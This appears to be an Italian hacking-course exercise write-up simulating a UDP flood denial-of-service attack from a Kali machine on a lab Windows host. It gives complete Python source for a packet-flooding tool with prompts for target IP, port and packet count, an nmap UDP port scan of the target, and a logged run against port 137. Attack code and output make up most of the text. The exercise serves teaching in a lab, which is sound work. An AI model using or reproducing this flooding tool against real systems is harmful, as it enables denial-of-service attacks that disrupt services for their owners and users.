Esercizio programmazione per Hacker
UDP flood con python

L'obiettivo dell'esercizio e' di simulare un attacco DoS di tipo UDP flood verso la macchina windows con la macchina kali linux.
Segue il codice sorgente del programma in python:

```
import socket
import random
import ipaddress

def valid_ip(ip): # return true if ip is valid
    try:
        ipaddress.IPv4Address(ip)
        return True
    except ipaddress.AddressValueError:
        return False

while True: # ip input control
    ip_target = input("[+] inserisci l'ip del target > ")
    if not valid_ip(ip_target):
        print("[-] ip non valido. riprovare")
        continue
    break

while True: # port input control
    port_number = int(input("[+] inserisci la porta UDP della macchina
target > "))
    if not (1 <= port_number <= 65535):
        print("[-] porta invalida, riprovare.")
        continue
    break

while True: # packet quantity input control
    packets_quantity = int(input("[+] inserisci il numero di pacchetti
da inviare > "))
    if packets_quantity <= 0:
        print("[-] quantita' di pacchetti invalida, riprovare.")
        continue
    break

# socket ipv4, datagramma ( senza connessione ), protocollo UDP scelto
di default
```

```python
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
if sock == -1:
   print("[-] errore nella creazione del socket")

i = 0
while i < packets_quantity:
   packet = random.randbytes(1024)                # crea pacchetto
   # manda pacchetto
   try:
       sock.sendto(packet, (ip_target, port_number))
   except socket.error as e:
       print(f"[-] errore durante l'invio del pacchetto {i}: {e}")
       break

   if i % 100 == 0:
       print(f"[+] inviati {i} pacchetti...")

   i += 1

print(f"[+] inviati tutti i {packets_quantity} pacchetti.")
```

Ricerca porte UDP attaccabili:

Il comando "`sudo nmap -sU –top-ports 20 192.168.0.112 # ip di windows`" ha restituito come output:

```
PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   open          netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   open|filtered snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp closed        unknown
```

scegliamo la porta 137 per i nostri test.

Esecuzione:

```
┌──(kali㉿kali)-[~/Desktop/M2S2L3]
└─$ python DoS.py
[+] inserisci l'ip del target > 192.168.0.112
[+] inserisci la porta UDP della macchina target > 137
[+] inserisci il numero di pacchetti da inviare > 65535
[+] inviati 0 pacchetti ...
[+] inviati 100 pacchetti ...
[+] inviati 200 pacchetti ...
[+] inviati 300 pacchetti ...
```